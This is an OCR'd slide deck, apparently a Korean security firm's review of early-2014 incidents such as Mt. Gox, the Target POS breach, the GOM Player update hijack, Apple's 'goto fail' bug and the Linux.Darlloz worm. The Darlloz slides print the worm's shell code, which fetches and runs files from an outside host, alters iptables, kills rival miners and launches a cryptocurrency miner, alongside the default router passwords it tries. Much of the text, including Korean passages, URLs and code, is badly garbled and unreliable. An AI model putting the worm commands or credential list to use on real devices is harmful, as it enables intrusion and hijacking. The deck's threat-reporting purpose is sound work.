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Greetings Metizens of the World and to
the Government of Korea.

We Are Anonymous, This is our
message about #OpHKorea Press
Release.

To the Government of South Korea. We
are watching you, and We Expect for
the changes of the Korean Government.
But As We Observed that the Korean Government are wasting the tax, distorting the media, and
suppressing the citizen. Remember, This Operation is not act that some organization is to Uphold. This
Operation purpose is to stand and stop the cormuptness of our Government. Do you think that Korean
Govermnment has a Freedom of Information? Do you think that every people are equality?

This is the LAST WARNING MESSAGE for Korean Government..
In April 14th 2014, Expect Our Revolution and ¥You CANT STOP US!
Government of Korea. It's Too Late To Expect Us!

We Are Anonymous.

We Are Legion.

We Do Mot Forgive.

We Do Mot Forget.

The Corrupt Fear Us.

The Honest Support Us.
The Heroic Join Us.
Expect the Unexpected!! /f

* source : http:/Amwvyoutube.comiwatchv=NsM2CPJQ9qo
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Windows -> Android Zt<d

 Windows -> Android Ztd
-2012E 7t57d =9
-2013E S=0{A A
-20143 13 S L{Oj| A A
- ZFAE| A| AEI0]| Android 7| 7| $IZAE! I adb.exe 2 OHAI A E 2+

5 el3d2.dll
Sleep

.188841BA: failed[f] .exe
-188841CH: HegisterServ
-188A41DA: iceCtrlHandlerEx
-.188841 EA: A RegisterDevi
188841 FA: ceMNotification f
- 188842080 ailed: »xdf IHN

-188R421A: QMOUE. . OUT xs i
-18884220Q: nstall xs “axs
-18884230Q: *_apk adb.
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« Mt Gox | &

- 744,000 Bitcoins (worth $350 million) sijZC 2 9=

-22 282 =3 XL A0 Tt B 417

Bitcoin Bedlam as Mt. Gox Shuts its Doors After
Apparent Data Leak
* source : http:/collaboristablog.com/2014/02/bitcoin-bedlam-mt-gox-shuts-doors-apparent-data-leak/
« =7+ AKX 82
- FHexcoin, Poloniex
* source : grahamcluley.comv2014/03/wo-bitcoin-companies-hit-hard-hackers/

=N B 7tsd =AY
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* source : http://securityaffairs.coivordpress/22940/cyber-crime/anonymous-hackers-hacked-mtgox-ceo-publishing-evidence-fraud.html
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- 7t 22191 Ao 2 Apple ID =2

EA Games website hacked to steal Apple IDs

An EA Games server has been compromised by hackers and is now hosting a phishing site which targets Apple ID account holders.

The compromised server is used by two websites in the ea.com domain, and is ordinarily used to host a calendar based on WebCalendar 1.2.0. This wersion was
released in September 2008 and contains several security vulnerabilities which have been addressed in subsequent releases. For example, CWVE-2012-5385 details a
wvulnerability which allows an unauthenticated attacker to modify settings and possibly execute arbitrary code. It is likely that one of these vulnerabilities was used to
compromise the server, as the phishing content is located in the same directory as the WebCalendar application.

Appie - My Agpie I "

« 2 o] eacom ppieid apple:

My Apple ID

Sign in to \.rr:rlg)f-,,n your Apple Sign in,

My Apple 10

* source : http:/news.netcraft.com/archives/2014/03/19/ea-games-website-hacked-to-steal-apple-ids.html
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Monju power plant facility PC infected with virus
— MATIOMAL JAN. 07, 2014 - 03:35PM JST{ =9 25 ) w

TOKYO — A computer being used at the Monju prototype fast-breeder reactor facility in
Tsuruga, Fukui Prefecture, was recently discovered to have contracted a virus, and officials
believe that some data from the computer may have been leaked as a result

According to the Japan Atomic Energy Agency, which operates the facility, the computer
in question was being used by on-duty facility employees to file company paperwork when
the virus was first detected on Jan 2, TBS reported Tuesday.

Officials said that around 3 p.m., the computer began corresponding with a suspicious
outside site. Although the computer contained many company-sensitive emails, employee
data sheets and training logs, officials said they do not believe any safety-compromising
data was leaked, TBS reported.

It is believed that the computer was infected with the virus when a video playback program
was attempting to perform a regular software update. Personnel are investigating the cause

of the incident and are creating plans to avoid any such potential safety mishaps in the
future, the Japan Atomic Energy Agency said.

Japan Today

* source : http:/Amwwvjapantoday.com/category/nationalview/monju-power-plant-facility-pc-infected-with-virus

© AhnLab, Inc. All rights reserved.

32



o« Z7+M
O

- Gom Player Update A{H{ 3| Z 8| E IPCHSO| A H& 2 I T E 2+

Mcdified
Upd a= URL

app.gomlab.com

GOM Player
Update Request

E
GOM Update _f
Download Request
-
L EOM Player and

Malhsare -
Wictim - 9 1 W wwne fudousanka itori.jp

Mahware Commmand
Puned Gom trol

Eey
E Compromised Server
E Artacker Infrastructure testgweasd.tk

* source : http:/Amwv.contextis.com/iles/TA10009 20140127 - CTI_Threat Advisory - The Monju_Incident.pdf

© AhnLab, Inc. All rights reserved. 33



CVE-2014-0497

- Adobe Flash %|2FH (APSB14-04, CVE-2014-0497)
- 2013 122 Hk74, 201444 224 42! QIL|0|E EHE

Security updates available for Adobe Flash Player (APSB14-04)

A Security Bulletin (APSE14-04) has been published regarding a critical vulnerability (CVE-2014-0497) in Adobe
Flash Player 12.0.0.43 and earlier for Windows and Macintosh. This vulnerability could allow an attacker to remotely
take control of the affected system.

Adobe is aware of reports that an exploit for this vulnerability exists in the wild, and recommends users apply the
updates referenced in the security bulletin.

This posting is provided “AS IS" with no warranties and confers no rights.

- Linux, OS X, Windows7} &} #+S

Product Updated version Platform Priority rating

Adaobe Flash Player 120044 Windows and Macintesh 1
11.7.700.261 Windows and Macintosh 1
11.2.202.336 Linux 3

These updates address critical vulnerabilities in the software.

* source : http:/blogs.adobe.com/psirt/?p=1047
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CVE-2014-0322 %|2FA 0| £

LR
- IE100day /2P 37
201414 280f /%

* source : http:/Amwwvfireeye.com/blog/uncategorized/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-
website.html

« 572420144 22! 112 U.S. Veterans of Foreign Wars

- 2014 23 11 U.S. ve terans of Foreign Wars 24| O| X| 8| Z S| Hi =

-2014EH 23 13 T=&A &

- Source : http:/community:websense.com/blogs/securitylabs/archive/2014/03/07/cyber-criminals-expand-use-of-cve20140322-before-patch-
tuesday.aspx?cmpid=sitw
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Include.html

Sqglrenew.t

Tope.swf
xt

stream.exe

download

MediaCent
er.exe

MicroSoftSecur
ityLogin.ocx

csg.secure.snecma. fr
ctx.secure.snecma.fr
fdm.secure.snecma. fr
qa.fdm.secure.snecma. fr
ga.indigo.secure.snecma.fr
pi.secure.snecma.fr

0a.secure.snecma. fr
gasd.secure.snecma.fr
=d.secure.snecma.fr
int.tcua.secure.snecma.fr
ga.tcua.secure.snecma.fr
secure.snecma. fr




CVE-2014-0322 %|2FA 0| £

127.0.8.1 localhost
csd.secure.shecma.fr
ctx.secure.snecma.fr
fdm.secure.snecma.fr
ga.fdm.secure.snecma.fr
ga.1indigo.secure.snecma.fr
pl.secure.shecma.fr
ga.secure.snecma. fr
gasd.secure.snecma. fr
sd.secure.snecma.fr

int. tcua.secure.snecma.fr
qa. tcua.secure.snecma.fr
secure.shecma.fr




CVE-2014-0322 %|2FA 0| £

+ SR CIX|E 2SN E AT

- 2L M) CIX|E QIS A

MBI EEED
[E=
SAFHE:

MEB AIZH

2k RaEl | sis B2

I3

L@ 9zME=

A= M2 B
+ T EFH HAAHHMN & a2=ZE2
s HAZH= & ERHIIHEL = 215 ‘F—L IE.*LII:I-

= AHEF B2 = QE DB 22 E SFETHY AR,
=EE= N U | [
= A VeriSign Class 3 Code Signing 2010 C&
a5 17 2012- 03- 21 2"y 2014- 06- 21

[ 2 #am.,. || zsmaE |
DIZ MM CHEH A S ZO0HSLICE
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Apple’s SSL/TLS |2

» CVE-2014-1266

» APPLE'S SSL/TLS Buc (22 Feb 2014)

Yesterday, Apple pushed a rather spooky securitv update for i0S that suggested that something was horribly wrong with

SSL/TLS in i0S but gave no details. Since the answer is at the top of the Hacker News thread, I guess the cat's out of the bag

already and we're into the misinformation-quashing stage now.

So here's the Apple bug:

static 0SStatus
SSLverifySignedServerkKeyExchange (SSLContext *ctx, bool isRsa, SSLBuffer signedParams,
uint8_t *signature, UIntls signaturelLen)

0s5tatus err;

if (({err = SSLHashSHAl.update (&hashCtx, &serverRandoml) != @)
goto fail:

if (({err = SSLHashSHALl .update (&hashCtx, &signedParams)) != @)
goto fail;
goto fail:

if ({err = SSLHashsSHALl.final (&hashCtx, &hashOutl)) != 0)
goto fail:

* source : hitps:/Awwvimperialviolet.org/2014/02/22/applebug.html
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loT worm Linux.Darlloz & H|0| E

» Linux.Darlloz
-2013H 102! 2f 74 =l Internet of Things ZH Y &
- x86, MIPS, ARM, PowerPC Z+
-7HSet M= Vs =7t
|o1-w°rrndu3edt? Mine Cryptocurrency

l Kaoru Hayashi jj D 0_ >

‘:".S’YSymantec- Official Blog

S s 1| @snere| 25 [EIZY EEEY 5] (3 tweet (103 submit

* source : http:/Amwv.symantec.com/connect/blogs/iot-worm-used-mine-cryptocurrency
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loT worm Linux.Darlloz & H|0| E

e 7+
| |
- 7 M| 7| 31,000 CH A|AE ZHH =7
-MN Z4E S oh=0] 17 % XX india |
9%
Taiwan
e China

\ -

South Korea
17%
us
30%

Figure 1. The top five regions with Darlloz infections

* source : http:/Amwv.symantec.com/connect/blogs/iot-worm-used-mine-cryptocurrency
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loT worm Linux.Darlloz 44|0| E © Annlab

e Linux.Darlloz

- PHP |2k php-cgi Information Disclosure Vulnerability (CVE-2012-1823) 0| &

- cpuminer & X| 5| Mincoins, Dogecoins, Bitcoins Al =

Kprﬂcfselffexe nodes myshellexec(” BE

myshellexec{"rm -rf /tmp/ ;wget —P Ktmp http:// 58405/ ;chmod +x /tmp/ u/ HITT
P/1.1 208 0K}
Content-Length: =sig ./ wget http:// :chmod +x blablablabla rm -rf /var/run/.z
ollard mkdir -p /var/run/.zollard cd /var/run/.zollard /var/b/b3.1486 /fvar/b3.1
486 /dav/b3.1486 httpd /dev/null /bin/sh -c iptables -D INPUT -p tcp -—-dport 23
-3 DROP iptables -D INPUT -p tcp ——dport 32764 -3 DROP ./miner.sh #'/bin/sh
get="command -v wget || echo busybox wget’

1f [ ‘uname -m" = "u86_64" 1: then
ﬂ?rchiue="pooler—cpuminer—2.3.2—linux—x86_6ﬁ.tar.gz"
else
;@rchiue="p001er—cpuminer—2.3.2—linux—x86.tar.gz"

1
rm —rf =miner=

$get “htip://sourceforge.net/projects/cpuminer/files/$archive”

tar —-zxf %archive

killall -9 minerd minerd32 minerdbté

killall -9 dev apachelogd vlogd freglaad

minerd —q -B -a scrypt -o httip: H_;HUEE]Cmr
dTaKngH1 -p pass >/dev/null 2>/dev/null &

rm —rf =miner=

Fetc/init.d/1inetd start fetc/init.d/xinetd start fetc/init.d/inetd.busybox sta
rt /etc/re.d/init.d/inetd start fetc/rc.d/init.d/xinetd start xinetd fetc/init.




loT worm Linux.Darlloz & H|0| E

e Linux.Darlloz

- router, set-top boxes < == : dreambox, vizxv, stemroot, sysadmin, superuser, 1234, 12345, 1111, smcadmin

.B8009AEB: 2E /A 6F 6C.6C 61 72 64.2F B0 63 70.20 2F 62 69 .zollard/ cp /bi
.B8009AFB: 6E 2F 73 68.20 00 63 64.20 00 64 72.65 61 6D 62 n/sh cd dreamb
.08059B00: 6F 78 00 76.69 /A 8 76.00 73 74 605.6D 72 6F 6F ox vizxv stemroo

.08059B10: 74 @0 73 79.73 61 64 6D.69 6E 008 73.75 70 65 72 t sysadmin super
08009820 15 13 60 72.00 31 32 33.34 00 31 32.33 34 30 00 user 1234 12345
.08059B36: 31 31 31 31.80 73 6D 63.61 64 6D 69.6E 00 00 1111 smcadminfl




MS Word 2010 F| 2FH

« MS Word |2

- BEZ 70018
* source : https:/technet. microsoft.com/en-us/security/advisory/2953095

Security TechCenter > > Microsoft Security Advisory (2953095)

Microsoft Security Advisory (2953095)

Vulnerability in Microsoft Word Could Allow Remote Code Execution

Published: Monday, March 24, 2014 | Updated: Thursday, March 27, 2014

Version: 1.1

44
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» Target 5| &

- 2013 128 199 & &

o=
-POS A|A® Q{4 TE 2O 7 M Bt 0|4 Tol HE §F
= = 35 = ol X = O
-0|&, HFX|, Moz, O| Y =4 5 /2
Recounting Target’s Breach
MNOVEMBER DECEMBER JANUARY
| 11 | 1111 | | |
EARLY NOV. DEC. 12 The Secret Service requests a meeting with Target. DEC. 27 JAN. 10 JAN. 15
Hackers make 13 Target is informed of the breach by the Secret Service and Justice Department. Target publicly Target Citibank
initial _ 15 Target removes the malware that evening. acknowledges discloses that announces it
penetration ] ) i i i ] ] that PIN data personal data will reissue
into Target's 17 Credit card_cumpame_slare given information about which can:]s were cpmpr_orm_sfed. had been of as many all dehit
network. the Targgt determines 40 million customers were affected and tells financial firms it will taken. but as 70 million cards
company later publicly announce the breach on Dec. 18. says it was all customers compromised
tells its 18 MasterCard and Visa begin informing banks of the breach. Brian Krebs publishes a encrypted. was also in the
financial story on the breach in the afternoon. taken. breach.
partners. 19 Target makes its first public acknowledgement of the breach.
20 Target tells its financial partners that credit card data and encrypted PIN data had
been taken. JPMorgan decides at night to reissue all debit cards that were
compromised and keep its branches open late over the weekend.
- soruce : http:/Amwv.nytimes.com/2014/01/18/business/a-sneaky-path-into-target-customers-wallets.htmi?hp&_r=1
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O|= Target of| Z

- 20134 11& 15¢
« 20139 12& 124 .

« 20134 12& 15¢ .
- 20134 12& 18 :

« 20134 12& 19¢ .

- 20144 19 29
- 20144 12 109 :

- 20144 18 129
OLYBE 2 AlQl

- 20144 12 159 ;
AN Tl TH

- 20144 19 159
- 20144 12 162

Eteztel

- 123 15¢ : Target & ¢

Federal investigator, 7H0,_I7§§.E o= o=
Target A} 7HQI™EH Q= 10|

Symantec, InfostealerReedum BEAMT
- Target, Sj{Z 22 4™ Ot @ A7 H

US Cert, POS A|AEI OFMFAE AN

Target, 711 HE S= 78 OF & O|A &g

=
: Target CEO Gregg Steinhafel, CNBC Q@I E{ F0f|A{ POSO|

Citibank, EfZ10] DX 2 QEALEfe S K27l Ha

. Krebson Security2 E8f 22l ME {7
: McAfee, 24 Mg 27|

http://blogs.mcafee.com/mcafee-labs/analyzing-the-target-point-of-sale-malware

- 201414 19 229
- 20144 12 299

: Target, 475 & Zt &l &g
: Target, & A X}= third-party vendorE S| & UMCHD gt

ot



« 2014E 23 52 : Brian Krebs, Fazio Mechanical Services A|AHS E5f| LHE
Y EE

« 20144 3& 13¢ : Target,

http://www.businessweek.com/articles/2014-03-13/target-missed-alarms-in-epic-
hack-of-credit-card-data

« 20144 3& 25¢ : Target, Trustwavedf| A&
http://www.chicagobusiness.com/article/20140325/BLOGS11/14032986



O|= Target of| Z

« Target, M E7IE HE EH A1 28

Target Confirms Unauthorized Access to Payment Card Data in U.S. Stores

Target Confirms
Unauthorized Access to

Payment Card Data in U.S.
Stores

Issue has been identified and resolved

MINNEAPQOLIS — December 19, 2013

* source : http://pressroom.target.com/newsiarget-confirms-unauthorized-access-to-payment-card-data-in-u-s-stores
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- 201414 12 122 CNBC QIE{£0j| A gt

* source : http:/Aideo.cnbc.com/gallery/?video=3000235218



15 A First Look at the Target Intrusion, Malware

BFoOSsSEam

Last weekend. Targ inallvy discl -d at lea ' -ause of the massive da
-Aast weeKend, arget hmally disciosed at least one cause of the massive da

exposed personal and financial information on more than 110 million customers:

software that infected point—of—sale systems at Ta checkout counters. Today's post

includes new information about the malware apparently used in the attack, according to two

sources with knowledge of the matter.

In an interview with CNBC on Jan. 12 ; . DUMPS TR1+TR2+ZIP+ ADDRESS
: ] DUMPS TRI+TR2 | DUMPS TR2

larget CEO Gregg Steinhafel confirmed that
the attackers stole card data by i

€ on pomnt—oi-

malicious softw

C

devices in the checkout lines at Target

stores. A report published by Reuters that

same day stated that the Target breach

involved memory—scraping malware.

This type of malicious software uses a

technique that

e
. - - V¢ -~ - - g 1 - 3 . ] o= ‘ L
the memory banks of specific POS devices: The seller of the point—of—sale “memory dump
in doing so, the malware captures the data malware allegedly used in the rtrack

stored on the card’s magnetic stripe in the

* source : http:/krebsonsecurity.com/2014/01/a-first-look-at-the-target-intrusion-malware/



* HVAC /M2 S¢f| &9l

- Fazio Mechanical ServicesE E5|| L5 A|AEl XlQl o|= K| 7|

MECHANICAL SERVICES

About Fazio Mechanical
Fazio Se

Safety De ted
Directions to Fazio

Contact Fazio View Fazio's St

At Fazio Mecha

412-782-6338 and support an

800-241-4029 FaioMecranc

Fazio Mechanical friendly superma
is licensed in:

We service custc

Pennsylvania 5

West Virginia Maryland and Vi
Maryland performance tha
Virginia

Onhio

Fazio Mechanical's Projecis

Giant Eagle (Century lll Mall) — renovation and new refrigeration systems
Giant Eagle (Bethel Park PA) — renovation and new refrigeration systems
Trader Joe’s (Mt Lebanon PA) — new store with new refrigeration systems
Whole Foods (Columbus OH) — new store with new refrigeration systems
Kuhn's (Ingomar PA) — renovation and new refrigeration systems

Palumbo Meat Market (Dubois PA) — new store with new refrigeration system
GetGo (Pittsburgh PA) — new store with new refrigeration systems

GetGo (Lakewood OH) — new store with new refrigeration systems

Giant Eagle (Frederick MD) - renovation and new refrigeration systems
Trader Joe’s (Charlottesville VA) — renovation and new refrigeration systems
Trader Joe's (Arlington VA) — new store with new refrigeration systems

BJ's Wholesale Club (Cleveland OH) — renovation and new HVAC systems

Target (Hilliard OH) — renovation and new refrigeration systems

Target (Columbia MD) — renovation and new refrigeration systems

* source : http:/krebsonsecurity.com/2014/02farget-hackers-broke-in-via-hvac-company






* Reedum
- Reedum, BlackPOS. Kaptoxa(2{A|O}O| 2 ZHXh S0 2 =&l
-POSA|AHIOIMAE
1201313 ZHE| U (Y A 20f= 015)
- A 0] A{ $1,800 - $2,00001] ZHOH
- | 2= 2{A|Of 17 M| Sergey Taraspov (Ree [4]) 7| K| & ALZ 2 &
- AIH| 7HEHR}= 23 M| Rinat Shabayev MaNEwsS

- Life News2} QI E{ &5 L0

* source : http://intelcrawler.com/about/press08
http://thehackernews.com/2014/01/23-year-old-

NOPSIAOYHBIN YESIOBEK

: ABTOP YNYYLUEHHOW BEPCUW BUPYCA "KAPTOXA" —
russian-hacker-confessed-to.html PUHAT LUABAEB . "
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